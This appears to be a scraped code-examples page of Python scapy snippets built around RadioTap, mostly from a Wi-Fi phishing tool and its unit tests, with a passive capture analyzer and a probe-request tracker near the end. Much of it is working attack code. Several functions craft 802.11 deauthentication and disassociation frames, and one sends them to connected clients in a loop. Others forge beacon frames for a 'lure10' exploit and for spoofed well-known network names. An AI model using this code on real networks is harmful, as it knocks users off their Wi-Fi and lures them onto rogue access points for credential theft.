Beispiel #1
0
    def _craft_and_add_packet(self, sender, receiver):
        """
        Craft a deauthentication and a disassociation packet and add
        them to the list of deauthentication packets

        :param self: A Deauthentication object
        :param sender: The MAC address of the sender
        :param receiver: The MAC address of the receiver
        :type self: Deauthentication
        :type sender: string
        :type receiver: string
        :return: None
        :rtype: None
        """

        deauth_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \
                    addr1=receiver, addr2=sender, addr3=self._ap_bssid) \
                  / dot11.Dot11Deauth())

        disassoc_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=10, \
                    addr1=receiver, addr2=sender, addr3=self._ap_bssid) \
                  / dot11.Dot11Disas())
        
        self._deauthentication_packets.append(disassoc_packet)
        self._deauthentication_packets.append(deauth_packet)
Beispiel #2
0
    def _craft_packet(sender, receiver, bssid):
        """
        Return a list with disassociation packet followed by a
        deauthentication packet

        :param sender: The MAC address of the sender
        :param receiver: The MAC address of the receiver
        :param bssid: The MAC address of the AccessPoint
        :type sender: str
        :type receiver: str
        :type bssid: str
        :return: list
        :rtype: A list with disassociation followed by deauthentication packet
        """

        # craft disassociation packet
        disassoc_part = dot11.Dot11(
            type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid)
        disassoc_packet = (
            dot11.RadioTap() / disassoc_part / dot11.Dot11Disas())

        # craft deauthentication packet
        deauth_part = dot11.Dot11(
            type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid)
        deauth_packet = (dot11.RadioTap() / deauth_part / dot11.Dot11Deauth())

        return [disassoc_packet, deauth_packet]
Beispiel #3
0
    def _craft_packet(sender, receiver, bssid):
        """
        Craft a deauthentication and a disassociation packet and add
        them to the list of deauthentication packets

        :param self: A Deauthentication object
        :param sender: The MAC address of the sender
        :param receiver: The MAC address of the receiver
        :param bssid: The MAC address of the AccessPoint
        :type self: Deauthentication
        :type sender: string
        :type receiver: string
        :type bssid: string
        :return: None
        :rtype: None
        """

        deauth_packet = (dot11.RadioTap() / dot11.Dot11(
            type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid) /
                         dot11.Dot11Deauth())

        disassoc_packet = (dot11.RadioTap() / dot11.Dot11(
            type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid) /
                           dot11.Dot11Disas())

        return [disassoc_packet, deauth_packet]
 def test_multiple_extensions(self):
     # We need a NM to init EM
     nm = interfaces.NetworkManager()
     # Init an EM and pass some shared data
     em = extensions.ExtensionManager(nm)
     em.set_extensions(constants.DEFAULT_EXTENSIONS)
     shared_data = {"one": 1, "two": 2, "is_freq_hop_allowed": True}
     em.init_extensions(shared_data)
     # A deauth packet appears in the air
     packet = (
         dot11.RadioTap() /
         dot11.Dot11(
             type=0,
             subtype=12,
             addr1="00:00:00:00:00:00",
             addr2="00:00:00:00:00:00",
             addr3="00:00:00:00:00:00") /
         dot11.Dot11Deauth())
     em._process_packet(packet)
     # Packets to send have been merged from the two extensions
     # Validate with get_packet()
     assert em._packets_to_send["1"] == [1, 2, 3, 4]
     # Output has also been merged in one list.
     # Validate with send_output()
     assert em.get_output() == ["one", "two", "three", "four", "five"]
Beispiel #5
0
    def setUp(self):
        """ Set up the tests """

        essid = dot11.Dot11Elt(ID='SSID', info="")
        rates = dot11.Dot11Elt(ID='Rates',
                               info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = dot11.Dot11Elt(ID='DSset', info='\x06')
        self.packet = dot11.RadioTap() / dot11.Dot11() / essid / rates / dsset

        custom_tuple = collections.namedtuple(
            "test", ("target_ap_bssid target_ap_channel rogue_ap_mac args "
                     "target_ap_essid is_freq_hop_allowed"))

        self.target_channel = "6"
        self.target_bssid = "BB:BB:BB:BB:BB:BB"
        self.rogue_mac = "CC:CC:CC:CC:CC:CC"
        self.target_essid = "Evil"
        self.args = mock.Mock()
        self.args.deauth_essid = False
        self.args.channel_monitor = False

        data0 = custom_tuple(self.target_bssid, self.target_channel,
                             self.rogue_mac, self.args, self.target_essid,
                             True)
        data1 = custom_tuple(None, self.target_channel, self.rogue_mac,
                             self.args, self.target_essid, True)

        self.deauth_obj0 = deauth.Deauth(data0)
        self.deauth_obj1 = deauth.Deauth(data1)

        # test for --deauth-essid
        self.deauth_obj0._deauth_bssids = dict()
        self.deauth_obj1._deauth_bssids = dict()
Beispiel #6
0
    def send_deauthentication_packets(self):
        """
        Send deauthentication packets using RadioTap header.

        :param self: A Deauthentication object.
        :type self: Deauthentication
        :return: None
        :rtype: None
        .. note: Information regarding IEEE 802.11 and for deauthentication
                 which could be useful for maintenance purposes. Type could
                 have values of 0 for managment, 1 for control, 2 for data.
                 There are a lot of subtpyes but subtype 12 is for
                 deauthentication packets. addr1, addr2, addr3 are destination
                 address, sender address, sender transmited address
                 respectivly.


        """

        # continue to deauthenticate until otherwise set
        while self._should_continue:
            # added to reduce the stress on system and allow user to connect
            if self._observed_clients:
                for client in self._observed_clients:

                    packet = (dot11.RadioTap() /
                              dot11.Dot11(type=0, subtype=12,
                                          addr1=client,
                                          addr2=self._ap_bssid,
                                          addr3=self._ap_bssid) /
                              dot11.Dot11Deauth())

                    scapy.sendrecv.sendp(packet, count=1, verbose=False)
Beispiel #7
0
    def get_packet(self, pkt):
        """
        We start broadcasting the beacons on the first received packet

        :param self: A Lure10 object
        :param packet: A scapy.layers.RadioTap object
        :type self: Lure10
        :type packet: scapy.layers.RadioTap
        :return: A tuple containing ["*"] followed by a list of
            the crafted beacon frames
        :rtype: tuple(list, list)
        .. warning: pkt is not used here but should not be removed since
            this prototype is requirement
        """

        beacons = list()
        bssid = str()

        # initiliate the _packets_to_send in first run
        if self.first_run:
            self._packets_to_send["*"] = beacons

        # only run this code once
        if self.first_run and self.data.args.lure10_exploit:
            # locate the lure10 file
            area_file = constants.LOCS_DIR + self.data.args.lure10_exploit

            with open(area_file) as _file:
                for line in _file:
                    # remove any white space and store the bssid(fist word)
                    line.strip()
                    bssid = line.split(" ", 1)[0]

                    # craft the required packet parts
                    frame_part_0 = dot11.RadioTap()
                    frame_part_1 = dot11.Dot11(subtype=8,
                                               addr1=constants.WIFI_BROADCAST,
                                               addr2=bssid,
                                               addr3=bssid)
                    frame_part_2 = dot11.Dot11Beacon(cap=0x2105)
                    frame_part_3 = dot11.Dot11Elt(ID="SSID", info="")
                    frame_part_4 = dot11.Dot11Elt(ID="Rates",
                                                  info=constants.AP_RATES)
                    frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7))

                    # create a complete packet by combining the parts
                    complete_frame = (frame_part_0 / frame_part_1 /
                                      frame_part_2 / frame_part_3 /
                                      frame_part_4 / frame_part_5)
                    logger.debug("Add lure10-beacon frame with BSSID %s",
                                 bssid)
                    # add the frame to the list
                    beacons.append(complete_frame)

                    # make sure this block is never executed again and the notification occurs
                    self.first_run = False
            self._packets_to_send["*"] = beacons
        return self._packets_to_send
Beispiel #8
0
def test_is_packet_valid_packet_not_beacon():
    """
    Test is_packet_valid function with an packet that is not Dot11Beacon
    """
    address = "FF:FF:FF:FF:FF:FF"
    packet = (dot11.RadioTap() /
              dot11.Dot11(type=0, subtype=10, addr3=address) /
              dot11.Dot11Disas())

    assert recon.is_packet_valid(packet) == False
Beispiel #9
0
 def test_is_target_essid_non_decodable_error(self):
     """
     Assign essid to a constant when it is utf-8 non-decodable
     """
     essid = dot11.Dot11Elt(ID='SSID', info='\x99\x87\x33')
     packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid
     packet.addr3 = "99:99:99:99:99:99"
     result = self.deauth_obj0._is_target(packet)
     expected = False
     message = 'Fail to raise the UnicodeDecodeError for non-printable essid'
     self.assertEqual(result, expected, message)
Beispiel #10
0
    def test_is_target_target_ap_bssid_true(self):
        """
        Get the target attacking bssid for the speficic ESSID
        when --essid is not used
        """
        essid = dot11.Dot11Elt(ID='SSID', info="Evil")
        packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid
        packet.addr3 = "99:99:99:99:99:99"
        self.deauth_obj0._data.args.deauth_essid = "Evil"
        result = self.deauth_obj0._is_target(packet)

        expected = True
        message = "Fail to check the attacking essid: " + self.target_essid
        self.assertEqual(result, expected, message)
 def test_multiple_extensions(self, send_func):
     # Init an EM and pass some shared data
     self.em = extensions.ExtensionManager()
     shared_data = {"one": 1, "two": 2}
     self.em.init_extensions(shared_data)
     self.em.start_extensions()
     # A deauth packet appears in the air
     packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \
             addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \
           / dot11.Dot11Deauth())
     self.em._process_packet(packet)
     # Packets to send have been merged from the two extensions
     # Validate with get_packet()
     assert self.em._packets_to_send == [1, 2, 3, 4]
     # Output has also been merged in one list.
     # Validate with send_output()
     assert self.em.get_output() == ["one", "two", "three", "four", "five"]
Beispiel #12
0
    def get_packet(self, pkt):
        """
        We start broadcasting the beacons on the first received packet.

        :param self: A Lure10 object.
        :param packet: A scapy.layers.RadioTap object.
        :type self: Lure10
        :type packet: scapy.layers.RadioTap
        :return: list with the crafted beacon frames
        :rtype: list
        """

        beacons = []

        if self.first:
            if self.data.args.lure10_exploit:
                area_file = constants.LOCS_DIR + self.data.args.lure10_exploit
                with open(area_file) as a_file:
                    wlans = [x.strip() for x in a_file.readlines()]
                    for wlan in wlans:
                        bssid, essid = wlan.split(' ', 1)
                        # Frequency for channel 7
                        frequency = struct.pack("<h", 2407 + 7 * 5)
                        ap_rates = "\x0c\x12\x18\x24\x30\x48\x60\x6c"
                        frame = dot11.RadioTap(
                            len=18,
                            present='Flags+Rate+Channel+dBm_AntSignal+Antenna',
                            notdecoded='\x00\x6c' + frequency +
                            '\xc0\x00\xc0\x01\x00\x00') / dot11.Dot11(
                                subtype=8,
                                addr1='ff:ff:ff:ff:ff:ff',
                                addr2=bssid,
                                addr3=bssid) / dot11.Dot11Beacon(
                                    cap=0x2105) / dot11.Dot11Elt(
                                        ID='SSID', info="") / dot11.Dot11Elt(
                                            ID='Rates',
                                            info=ap_rates) / dot11.Dot11Elt(
                                                ID='DSset', info=chr(7))
                        beacons.append(frame)

            self.beacons_num = len(beacons)
            self.first = False

        return (["*"], beacons)
Beispiel #13
0
    def _get_known_beacons(self):
        """
        Retrieve the popular ESSIDs from the text file
        and then construct all the known beacon frames.

        :param self: A Beacons object
        :type self: Beacons
        :return: A list with all the beacon frames
        :rtype: list
        """

        beacons = list()
        essid = str()
        bssid = self.data.rogue_ap_mac

        # locate the known WLANS file
        area_file = constants.KNOWN_WLANS_FILE

        with open(area_file) as _file:
            for line in _file:
                if line.startswith("!"):
                    continue
                essid = line.rstrip() 

                # craft the required packet parts
                frame_part_0 = dot11.RadioTap()
                frame_part_1 = dot11.Dot11(
                    subtype=8,
                    addr1=constants.WIFI_BROADCAST,
                    addr2=bssid,
                    addr3=bssid)
                frame_part_2 = dot11.Dot11Beacon(cap=constants.KB_BEACON_CAP)
                frame_part_3 = dot11.Dot11Elt(ID="SSID", info=essid)
                frame_part_4 = dot11.Dot11Elt(
                    ID="Rates", info=constants.AP_RATES)
                frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7))

                # create a complete packet by combining the parts
                complete_frame = (
                    frame_part_0 / frame_part_1 / frame_part_2 /
                    frame_part_3 / frame_part_4 / frame_part_5)
                # add the frame to the list
                beacons.append(complete_frame)
        return beacons
 def test_single_extension(self):
     # Init an EM and pass some shared data
     em = extensions.ExtensionManager()
     em.set_extensions(constants.DEFAULT_EXTENSIONS)
     shared_data = {"one": 1, "two": 2}
     em.init_extensions(shared_data)
     # A deauth packet appears in the air
     packet = (dot11.RadioTap() / dot11.Dot11(type=0,
                                              subtype=12,
                                              addr1="00:00:00:00:00:00",
                                              addr2="00:00:00:00:00:00",
                                              addr3="00:00:00:00:00:00") /
               dot11.Dot11Deauth())
     em._process_packet(packet)
     # The extension1.py sent packet "1" and returned output
     # "one", "two". Validate with get_packet(), send_output()
     assert em._packets_to_send["1"] == [1]
     assert em._packets_to_send["2"] == []
     assert em.get_output() == ["one", "two"]
Beispiel #15
0
    def add_lure10_beacons(self, area_file):
        
        with open(area_file) as f:
            wlans = [x.strip() for x in f.readlines()]
            for w in wlans:
                bssid, essid = w.split(' ', 1)
                # Frequency for channel 7
                frequency = struct.pack("<h", 2407 + 7*5)
                ap_rates = "\x0c\x12\x18\x24\x30\x48\x60\x6c"
                frame =  dot11.RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', \
                                 notdecoded='\x00\x6c' + frequency + \
                                 '\xc0\x00\xc0\x01\x00\x00') \
                / dot11.Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid) \
                / dot11.Dot11Beacon(cap=0x2105) \
                / dot11.Dot11Elt(ID='SSID', info="") \
                / dot11.Dot11Elt(ID='Rates', info=ap_rates) \
                / dot11.Dot11Elt(ID='DSset', info=chr(7))

                self._deauthentication_packets.append(frame)
 def test_single_extension(self, send_func):
     # Init an EM and pass some shared data
     self.em = extensions.ExtensionManager()
     shared_data = {"one": 1, "two": 2}
     self.em.init_extensions(shared_data)
     assert not send_func.called
     self.em.start_extensions()
     # A deauth packet appears in the air
     packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \
             addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \
           / dot11.Dot11Deauth())
     self.em._process_packet(packet)
     # After EM starts, the send daemon is triggered and
     # sends any packets from extensions
     assert send_func.called == 1
     # The extension1.py sent packet "1" and returned output
     # "one", "two". Validate with get_packet(), send_output()
     assert self.em._packets_to_send == [1]
     assert self.em.get_output() == ["one", "two"]
Beispiel #17
0
    def test_get_packet_broadcast(self):
        """
        Test get_packet method for crafting the broadcast frame
        """

        # setup the packet
        sender = "00:00:00:00:00:00"
        receiver = "11:11:11:11:11:11"
        essid = dot11.Dot11Elt(ID='SSID', info="")
        rates = dot11.Dot11Elt(ID='Rates',
                               info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = dot11.Dot11Elt(ID='DSset', info='\x06')
        packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon(
        ) / essid / rates / dsset

        packet.addr1 = receiver
        packet.addr2 = sender
        packet.addr3 = self.target_bssid
        packet.FCfield = 0x0

        # run the method
        pkts_to_send = self.deauth_obj0.get_packet(packet)
        message0 = "Failed to return an correct channel"
        message1 = "Failed to return an correct packets"

        # check channel: target channel should be one key of
        # the result
        self.assertEqual(self.target_channel in pkts_to_send, True, message0)

        # check the packets
        # check the disassoction packet
        result = pkts_to_send[self.target_channel]
        self.assertEqual(result[0].subtype, 10, message1)
        self.assertEqual(result[0].addr1, constants.WIFI_BROADCAST, message1)
        self.assertEqual(result[0].addr2, self.target_bssid, message1)
        self.assertEqual(result[0].addr3, self.target_bssid, message1)

        # check the deauthentication packet
        self.assertEqual(result[1].subtype, 12, message1)
        self.assertEqual(result[1].addr1, constants.WIFI_BROADCAST, message1)
        self.assertEqual(result[1].addr2, self.target_bssid, message1)
        self.assertEqual(result[1].addr3, self.target_bssid, message1)
Beispiel #18
0
    def setUp(self):
        """ Set up the tests """

        essid = dot11.Dot11Elt(ID='SSID', info="")
        rates = dot11.Dot11Elt(ID='Rates',
                               info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = dot11.Dot11Elt(ID='DSset', info='\x06')
        self.packet = dot11.RadioTap() / dot11.Dot11() / essid / rates / dsset

        custom_tuple = collections.namedtuple(
            "test", "target_ap_bssid target_ap_channel rogue_ap_mac")

        self.target_channel = "6"
        self.target_bssid = "BB:BB:BB:BB:BB:BB"
        self.rogue_mac = "CC:CC:CC:CC:CC:CC"

        data0 = custom_tuple(self.target_bssid, self.target_channel,
                             self.rogue_mac)
        data1 = custom_tuple(None, self.target_channel, self.rogue_mac)

        self.deauth_obj0 = deauth.Deauth(data0)
        self.deauth_obj1 = deauth.Deauth(data1)
Beispiel #19
0
def run_offline_analysis(capture_file, start_time, end_time, sample_seconds,
                         channel):
    weird_frame_count = 0

    bssid_to_ssid_map = {}
    bssid_infra_macs = defaultdict(set)
    bssid_associated_macs = defaultdict(set)
    bssid_beacon_timing_payloads = defaultdict(list)
    bssid_beacon_data = {}
    bssid_to_jitter_map = {}
    bssid_to_power_map = defaultdict(list)

    noise_measurements = []
    action_counter = 0
    probe_req_counter = 0

    station_counters = defaultdict(DataCounters.zero)

    pcap_offline_dev = pcapy.open_offline(capture_file)
    header, payload = pcap_offline_dev.next()

    while header:
        try:
            # Use Scapy for the RadioTap decoding as dpkt's Radiotap decoder is totally broken.
            radiotap_frame = dot11.RadioTap(payload)

            if radiotap_frame.dBm_AntNoise is not None:
                noise_measurements.append(radiotap_frame.dBm_AntNoise)

            frame = dpkt.radiotap.Radiotap(payload).data
            frame_type = frame.type
            frame_subtype = frame.subtype

            if frame_type == dpkt.ieee80211.MGMT_TYPE:
                mac = binary_to_mac(frame.mgmt.src)
                current_counter = station_counters[mac]
                current_counter.management_frame_count += 1

                if frame_subtype == dpkt.ieee80211.M_BEACON:
                    beacon = dot11.Dot11Beacon(frame.beacon.pack())
                    bssid = binary_to_mac(frame.mgmt.bssid)

                    try:
                        beacon_data = bssid_beacon_data[
                            bssid] = patched_network_stats(beacon)
                        target_channel = beacon_data.get("channel")
                    except:
                        procedure_logger.exception(
                            "Failed to decode network stats...")
                        target_channel = None

                    if hasattr(frame, 'ssid'):
                        bssid_to_ssid_map[bssid] = frame.ssid.data
                        bssid_infra_macs[bssid].add(mac)
                    if target_channel is None or target_channel == channel:
                        bssid_beacon_timing_payloads[bssid].append(
                            (beacon.timestamp, beacon.beacon_interval))
                        if radiotap_frame.dBm_AntSignal is not None:
                            bssid_to_power_map[bssid].append(
                                radiotap_frame.dBm_AntSignal)
                    else:
                        procedure_logger.warning(
                            "Off channel beacon ({0} vs {1}) seen for BSSID {2}"
                            "".format(target_channel, channel, bssid))

                if frame_subtype == dpkt.ieee80211.M_PROBE_RESP:
                    if hasattr(frame, 'ssid'):
                        bssid = binary_to_mac(frame.mgmt.bssid)
                        bssid_to_ssid_map[bssid] = frame.ssid.data
                        bssid_infra_macs[bssid].add(mac)

                if frame_subtype in (dpkt.ieee80211.M_ASSOC_REQ,
                                     dpkt.ieee80211.M_ASSOC_RESP):
                    current_counter.association_frame_count += 1
                if frame_subtype in (dpkt.ieee80211.M_REASSOC_REQ,
                                     dpkt.ieee80211.M_REASSOC_RESP):
                    current_counter.reassociation_frame_count += 1
                if frame_subtype == dpkt.ieee80211.M_DISASSOC:
                    current_counter.disassociation_frame_count += 1
                if frame_subtype == dpkt.ieee80211.M_ACTION:
                    action_counter += 1
                if frame_subtype == dpkt.ieee80211.M_PROBE_REQ:
                    probe_req_counter += 1
                if frame.retry:
                    current_counter.retry_frame_count += 1
                if radiotap_frame.dBm_AntSignal is not None:
                    current_counter.power_measurements.append(
                        radiotap_frame.dBm_AntSignal)
                if radiotap_frame.Rate is not None:
                    current_counter.rate_measurements.append(
                        radiotap_frame.Rate)
                if radiotap_frame.Flags.badFCS is not None:
                    current_counter.failed_fcs_count += (
                        1 if radiotap_frame.Flags.badFCS else 0)

            elif frame_type == dpkt.ieee80211.CTL_TYPE:
                include_in_extra_measurements = True

                if frame_subtype == dpkt.ieee80211.C_RTS:
                    mac = binary_to_mac(frame.rts.src)
                    current_counter = station_counters[mac]
                    current_counter.cts_frame_count += 1

                elif frame_subtype == dpkt.ieee80211.C_CTS:
                    mac = binary_to_mac(frame.cts.dst)
                    include_in_extra_measurements = False
                    current_counter = station_counters[mac]
                    current_counter.rts_frame_count += 1

                elif frame_subtype == dpkt.ieee80211.C_ACK:
                    mac = binary_to_mac(frame.ack.dst)
                    include_in_extra_measurements = False
                    current_counter = station_counters[mac]
                    current_counter.ack_frame_count += 1

                elif frame_subtype == dpkt.ieee80211.C_BLOCK_ACK:
                    mac = binary_to_mac(frame.back.src)
                    current_counter = station_counters[mac]

                elif frame_subtype == dpkt.ieee80211.C_BLOCK_ACK_REQ:
                    mac = binary_to_mac(frame.bar.src)
                    current_counter = station_counters[mac]

                elif frame_subtype == dpkt.ieee80211.C_CF_END:
                    mac = binary_to_mac(frame.cf_end.src)
                    current_counter = station_counters[mac]
                else:
                    continue
                if frame.retry:
                    current_counter.retry_frame_count += 1
                if include_in_extra_measurements:
                    current_counter.control_frame_count += 1
                    if radiotap_frame.dBm_AntSignal is not None:
                        current_counter.power_measurements.append(
                            radiotap_frame.dBm_AntSignal)
                    if radiotap_frame.Rate is not None:
                        current_counter.rate_measurements.append(
                            radiotap_frame.Rate)
                    if radiotap_frame.Flags.badFCS is not None:
                        current_counter.failed_fcs_count += (
                            1 if radiotap_frame.Flags.badFCS else 0)

            elif frame_type == dpkt.ieee80211.DATA_TYPE:
                src_mac = binary_to_mac(frame.data_frame.src)
                dst_mac = binary_to_mac(frame.data_frame.dst)
                if hasattr(frame.data_frame, 'bssid'):
                    bssid = binary_to_mac(frame.data_frame.bssid)
                else:
                    bssid = None

                current_counter = station_counters[src_mac]
                dst_current_counter = station_counters[dst_mac]

                if frame.to_ds and bssid:
                    bssid_infra_macs[bssid].add(dst_mac)
                    bssid_associated_macs[bssid].add(src_mac)
                elif frame.from_ds and bssid:
                    bssid_infra_macs[bssid].add(src_mac)
                    bssid_associated_macs[bssid].add(dst_mac)
                current_counter.data_throughput_out += len(
                    frame.data_frame.data)
                dst_current_counter.data_throughput_in += len(
                    frame.data_frame.data)

                current_counter.data_frame_count += 1
                if frame.retry:
                    current_counter.retry_frame_count += 1
                if radiotap_frame.dBm_AntSignal is not None:
                    current_counter.power_measurements.append(
                        radiotap_frame.dBm_AntSignal)
                if radiotap_frame.Rate is not None:
                    current_counter.rate_measurements.append(
                        radiotap_frame.Rate)
                if radiotap_frame.Flags.badFCS is not None:
                    current_counter.failed_fcs_count += (
                        1 if radiotap_frame.Flags.badFCS else 0)
            else:
                pass

        except dpkt.dpkt.UnpackError:
            logging.warning(
                "dpkt lacks support for some IE80211 features. This could be causing spurious decode problems.",
                exc_info=True)
            weird_frame_count += 1
        header, payload = pcap_offline_dev.next()
    pcap_offline_dev.close()

    measurement = Measurement.new(
        start_time,
        end_time,
        sample_seconds,
        channel,
        noise_measurements,
        data_counters=sum_data_counters(station_counters.values()),
        extra_data={'weird_frame_count': weird_frame_count})

    stations = [Station.new(mac_addr) for mac_addr in station_counters.keys()]

    service_sets = [
        ServiceSet.new(bssid,
                       network_name=bssid_to_ssid_map.get(bssid),
                       extra_data=bssid_beacon_data.get(bssid, {}))
        for bssid in set(bssid_infra_macs.keys()).union(
            set(bssid_associated_macs.keys()))
    ]
    for service_set in service_sets:
        jitter, bad_intervals, intervals = calculate_beacon_jitter(
            bssid_beacon_timing_payloads.get(service_set.bssid),
            service_set.bssid)
        if jitter is not None:
            bssid_to_jitter_map[service_set.bssid] = (jitter, bad_intervals,
                                                      intervals)
    procedure_logger.info("-----------------")
    procedure_logger.info("Analysis performed on channel: {0}".format(channel))
    procedure_logger.info("Noise Level: {0} +/- {1} dBm".format(
        measurement.average_noise, measurement.std_dev_noise))
    procedure_logger.info("Top level result:\n{0}".format(
        repr(measurement.data_counters)))
    procedure_logger.info("Action Frames: {0}".format(action_counter))
    procedure_logger.info(
        "Probe Request Frames: {0}".format(probe_req_counter))
    if service_sets:
        procedure_logger.info("Service Sets seen:")
        for service_set in service_sets:
            jitter, bad_intervals, intervals = bssid_to_jitter_map.get(
                service_set.bssid, (None, None, None))
            procedure_logger.info("-- {0} ({1})".format(
                service_set.bssid, service_set.network_name))
            if bad_intervals:
                procedure_logger.info("---- Changing intervals detected!!!")
                procedure_logger.info(
                    "---- Intervals Seen: {0}".format(intervals))
            if jitter:
                procedure_logger.info(
                    "---- Avg +/- StdDev Beacon Jitter: {0} +/- {1} (ms)".
                    format(
                        altered_mean(jitter) / 1000.0,
                        altered_stddev(jitter) / 1000.0))
                procedure_logger.info(
                    "---- Min/Max Beacon Jitter: {0}/{1} (ms)".format(
                        min(jitter) / 1000.0,
                        max(jitter) / 1000.0))
                procedure_logger.info("---- Jitter Count: {0}".format(
                    len(jitter)))
    procedure_logger.info("{0} unique stations seen.".format(len(stations)))
    procedure_logger.info("-----------------")
    return {
        'measurement': measurement,
        'stations': stations,
        'service_sets': service_sets,
        'station_counters': station_counters,
        'bssid_associated_macs': bssid_associated_macs,
        'bssid_infra_macs': bssid_infra_macs,
        'bssid_to_ssid_map': bssid_to_ssid_map,
        'bssid_to_jitter_map': bssid_to_jitter_map,
        'bssid_to_power_map': bssid_to_power_map
    }
Beispiel #20
0
def get_data(args):
    ts = {}
    if args.pcap:
        if args.verbose:
            print(f':: Processing pcap file {args.pcap}')
        if args.only_pr:
            packets = sniff(offline=args.pcap,
                            verbose=0,
                            filter='wlan type mgt subtype probe-req')
        else:
            packets = sniff(offline=args.pcap, verbose=0)
        for packet in packets:
            if packet.addr2 in config['ignored']:
                continue

            if packet.addr2 in ts:
                ts[packet.addr2].append(packet.time)
            else:
                ts[packet.addr2] = [packet.time]
    elif args.kismet:
        if args.verbose:
            print(f':: Processing kismet file {args.kismet}')
        # sqlite3
        conn = sqlite3.connect(f'file:{args.kismet}?mode=ro', uri=True)
        c = conn.cursor()
        sql = 'pragma query_only = on;'
        c.execute(sql)
        sql = 'pragma temp_store = 2;'  # to store temp table and indices in memory
        c.execute(sql)
        sql = 'pragma journal_mode = off;'  # disable journal for rollback (we don't use this)
        c.execute(sql)
        conn.commit()

        sql = 'select ts_sec, ts_usec, lower(sourcemac), lower(destmac), packet from packets where phyname="IEEE802.11";'
        c.execute(sql)
        for row in c.fetchall():
            if args.only_pr:
                # keep only the probe request
                packet = dot11.RadioTap(row[4])
                if packet.type != 0 or packet.subtype != 4:
                    continue
            if row[2] in ts:
                ts[row[2]].append(row[0])
            else:
                ts[row[2]] = [row[0]]
            # filter out multicast mac addresses. TODO: use the exact range 00:00:00-7f:ff:ff
            if row[3] in ts and not row[3].startswith('01:00:5e'):
                ts[row[3]].append(row[0])
            else:
                ts[row[3]] = [row[0]]
        try:
            del ts['ff:ff:ff:ff:ff:ff']
            del ts['00:00:00:00:00:00']
        except KeyError as k:
            pass
        # filter to keep only wifi client and device
        sql = 'select lower(devmac),type from devices'
        c.execute(sql)
        for row in c.fetchall():
            if row[1] not in ['Wi-Fi Device', 'Wi-Fi Client']:
                try:
                    del ts[row[0]]
                except KeyError as k:
                    pass
        conn.close()
    else:
        # sqlite3
        conn = sqlite3.connect(f'file:{args.db}?mode=ro', uri=True)
        c = conn.cursor()
        sql = 'pragma query_only = on;'
        c.execute(sql)
        sql = 'pragma temp_store = 2;'  # to store temp table and indices in memory
        c.execute(sql)
        sql = 'pragma journal_mode = off;'  # disable journal for rollback (we don't use this)
        c.execute(sql)
        conn.commit()

        # keep only the data between 2 timestamps ignoring IGNORED macs with rssi
        # greater than the min value
        arg_list = ','.join(['?'] * len(config['ignored']))
        sql = '''select date,mac.address,rssi from probemon
            inner join mac on mac.id=probemon.mac
            where date <= ? and date >= ?
            and mac.address not in (%s)
            and rssi > ?
            order by date''' % (arg_list, )
        try:
            c.execute(sql, (args.end_time, args.start_time) +
                      tuple(config['ignored']) + (args.rssi, ))
        except sqlite3.OperationalError as e:
            time.sleep(2)
            c.execute(sql, (args.end_time, args.start_time) +
                      tuple(config['ignored']) + (args.rssi, ))
        for row in c.fetchall():
            if row[1] in ts:
                ts[row[1]].append(row[0])
            else:
                ts[row[1]] = [row[0]]
        conn.close()

    def match(m, s):
        # match on start of mac address and use % as wild-card like in SQL syntax
        if '%' in m:
            m = m.replace('%', '.*')
        else:
            m = m + '.*'
        m = '^' + m
        return re.search(m, s) is not None

    if None in ts.keys():
        del ts[None]
    macs = list(ts.keys())
    if args.mac:
        # keep mac with args.mac as substring
        macs = [
            m for m in list(ts.keys()) if any(
                match(am.lower(), m) for am in args.mac)
        ]

    # filter our data set based on min probe request or mac appearence
    for k, v in list(ts.items()):
        if (len(v) <= args.min and k not in args.knownmac) or k not in macs:
            del ts[k]

    # sort the data on frequency of appearence
    data = sorted(list(ts.items()), key=lambda x: len(x[1]))
    data.reverse()
    macs = [x for x, _ in data]
    times = [x for _, x in data]

    # merge all LAA mac into one plot for a virtual MAC called 'LAA'
    if args.privacy:
        indx = [i for i, m in enumerate(macs) if is_local_bit_set(m)]
        if len(indx) > 0:
            t = []
            # merge all times for LAA macs
            for i in indx:
                t.extend(times[i])
            macs = [m for i, m in enumerate(macs) if i not in indx]
            times = [x for i, x in enumerate(times) if i not in indx]
            macs.append('LAA')
            times.append(sorted(t))

    # merge all same vendor mac into one plot for a virtual MAC called 'OUI'
    for mv in config['merged']:
        indx = [i for i, m in enumerate(macs) if m[:8] == mv]
        if len(indx) > 0:
            t = []
            # merge all times for vendor macs
            for i in indx:
                t.extend(times[i])
            macs = [m for i, m in enumerate(macs) if i not in indx]
            times = [x for i, x in enumerate(times) if i not in indx]
            macs.append(mv)
            times.append(sorted(t))

    return (macs, times)
Beispiel #21
0
 def createDeauthPacket(self):
     """deauth paketi oluşturur"""
     dt11 = dot11.Dot11(addr1=self.ssid, addr2=self.bssid, addr3=self.bssid)
     deauthPacket = dot11.RadioTap() / dt11 / dot11.Dot11Deauth(reason=7)
     return deauthPacket